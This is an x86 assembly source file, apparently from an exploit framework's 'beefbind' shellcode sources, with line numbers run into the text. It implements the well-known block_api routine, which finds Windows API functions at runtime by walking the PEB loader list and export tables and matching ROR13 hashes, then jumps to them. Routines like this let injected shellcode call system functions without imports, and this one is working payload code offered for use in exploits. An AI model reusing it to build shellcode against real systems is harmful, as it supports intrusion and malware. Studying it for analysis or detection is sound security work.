Path: blob/master/modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm
1154 views
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Version: 1.0 (24 July 2009)4; Size: 137 bytes5;-----------------------------------------------------------------------------;67[BITS 32]89; Input: The hash of the API to call and all its parameters must be pushed onto stack.10; Output: The return value from the API call will be in EAX.11; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)12; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.13; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.14; Note: This function is unable to call forwarded exports.1516api_call:17pushad ; We preserve all the registers for the caller, bar EAX and ECX.18mov ebp, esp ; Create a new stack frame19xor edx, edx ; Zero EDX20mov edx, [fs:edx+48] ; Get a pointer to the PEB21mov edx, [edx+12] ; Get PEB->Ldr22mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list23next_mod: ;24mov esi, [edx+40] ; Get pointer to modules name (unicode string)25movzx ecx, word [edx+38] ; Set ECX to the length we want to check26xor edi, edi ; Clear EDI which will store the hash of the module name27loop_modname: ;28xor eax, eax ; Clear EAX29lodsb ; Read in the next byte of the name30cmp al, 'a' ; Some versions of Windows use lower case module names31jl not_lowercase ;32sub al, 0x20 ; If so normalise to uppercase33not_lowercase: ;34ror edi, 13 ; Rotate right our hash value35add edi, eax ; Add the next byte of the name36loop loop_modname ; Loop untill we have read enough37; We now have the module hash computed38push edx ; Save the current position in the module list for later39push edi ; Save the current module hash for later40; Proceed to itterate the export address table,41mov edx, [edx+16] ; Get this modules base address42mov eax, [edx+60] ; Get PE header43add eax, edx ; Add the modules base address44mov eax, [eax+120] ; Get export tables RVA45test eax, eax ; Test if no export address table is present46jz get_next_mod1 ; If no EAT present, process the next module47add eax, edx ; Add the modules base address48push eax ; Save the current modules EAT49mov ecx, [eax+24] ; Get the number of function names50mov ebx, [eax+32] ; Get the rva of the function names51add ebx, edx ; Add the modules base address52; Computing the module hash + function hash53get_next_func: ;54jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module55dec ecx ; Decrement the function name counter56mov esi, [ebx+ecx*4] ; Get rva of next module name57add esi, edx ; Add the modules base address58xor edi, edi ; Clear EDI which will store the hash of the function name59; And compare it to the one we want60loop_funcname: ;61xor eax, eax ; Clear EAX62lodsb ; Read in the next byte of the ASCII function name63ror edi, 13 ; Rotate right our hash value64add edi, eax ; Add the next byte of the name65cmp al, ah ; Compare AL (the next byte from the name) to AH (null)66jne loop_funcname ; If we have not reached the null terminator, continue67add edi, [ebp-8] ; Add the current module hash to the function hash68cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for69jnz get_next_func ; Go compute the next function hash if we have not found it70; If found, fix up stack, call the function and then value else compute the next one...71pop eax ; Restore the current modules EAT72mov ebx, [eax+36] ; Get the ordinal table rva73add ebx, edx ; Add the modules base address74mov cx, [ebx+2*ecx] ; Get the desired functions ordinal75mov ebx, [eax+28] ; Get the function addresses table rva76add ebx, edx ; Add the modules base address77mov eax, [ebx+4*ecx] ; Get the desired functions RVA78add eax, edx ; Add the modules base address to get the functions actual VA79; We now fix up the stack and perform the call to the desired function...80finish:81mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad82pop ebx ; Clear off the current modules hash83pop ebx ; Clear off the current position in the module list84popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered85pop ecx ; Pop off the origional return address our caller will have pushed86pop edx ; Pop off the hash value our caller will have pushed87push ecx ; Push back the correct return value88jmp eax ; Jump into the required function89; We now automagically return to the correct caller...90get_next_mod: ;91pop eax ; Pop off the current (now the previous) modules EAT92get_next_mod1: ;93pop edi ; Pop off the current (now the previous) modules hash94pop edx ; Restore our position in the module list95mov edx, [edx] ; Get the next module96jmp short next_mod ; Process this module9798